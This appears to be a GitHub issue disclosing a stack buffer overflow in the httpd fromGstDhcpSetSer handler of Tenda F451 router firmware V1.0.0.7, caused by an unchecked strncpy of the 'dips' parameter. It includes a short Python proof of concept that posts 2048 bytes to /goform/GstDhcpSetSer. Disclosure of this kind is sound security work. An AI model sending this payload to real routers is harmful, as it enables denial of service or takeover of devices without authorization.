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The fromGstDhcpSetSer function in Tenda's
F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer
overflow #23

New issue

Open

Jimi-Lab opened 3 weeks ago Owner

Information

Vendor: Tenda
Product: F451_kfw_V1.0.0.7_cn_svn7958
Version: V1.0.0.7
Vulnerability: buffer overflow
Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In fromGstDhcpSetSer function,it reads in a user-provided parameter dips.

And the variable s is passed to the strncpy function without any length check, which may overflow the stack-
based buffer cp.

4/20/26, 11:15 AM The fromGstDhcpSetSer function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow · Issu…

https://github.com/Jimi-Lab/cve/issues/23 1/4

https://github.com/Jimi-Lab
https://github.com/Jimi-Lab/cve
https://github.com/Jimi-Lab/cve
https://github.com/Jimi-Lab/cve/issues
https://github.com/Jimi-Lab/cve/pulls
https://github.com/Jimi-Lab/cve/actions
https://github.com/Jimi-Lab/cve/projects
https://github.com/Jimi-Lab/cve/security
https://github.com/login?return_to=https://github.com/Jimi-Lab/cve/issues/23
https://github.com/Jimi-Lab
https://github.com/Jimi-Lab
https://www.tenda.com.cn/material/show/1597
https://private-user-images.githubusercontent.com/112402021/571327047-9efeb09d-8117-443c-9feb-fe3654cdf8f6.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzY2ODQwMDAsIm5iZiI6MTc3NjY4MzcwMCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzI3MDQ3LTllZmViMDlkLTgxMTctNDQzYy05ZmViLWZlMzY1NGNkZjhmNi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyMFQxMTE1MDBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYTgzNDdmNzVkODE1MmY3MDhjODk0MjAzY2ZiZDA5MWRlNWU0MDBkMTE4NDZjYmY0ODA4MGRhODg3MWQzODI5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.Zhp7LX3RQS_Lgah8xHlYR2YTFfhI8Iog6N1BAbACMp8
https://private-user-images.githubusercontent.com/112402021/571327047-9efeb09d-8117-443c-9feb-fe3654cdf8f6.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzY2ODQwMDAsIm5iZiI6MTc3NjY4MzcwMCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzI3MDQ3LTllZmViMDlkLTgxMTctNDQzYy05ZmViLWZlMzY1NGNkZjhmNi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyMFQxMTE1MDBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYTgzNDdmNzVkODE1MmY3MDhjODk0MjAzY2ZiZDA5MWRlNWU0MDBkMTE4NDZjYmY0ODA4MGRhODg3MWQzODI5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.Zhp7LX3RQS_Lgah8xHlYR2YTFfhI8Iog6N1BAbACMp8


As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.

Proof of Concept (PoC)

import requests
url = "http://127.0.0.1/goform/GstDhcpSetSer"
payload = {
'dips':b'a'*2048
}
res = requests.post(url=url,data=payload)

Overcome
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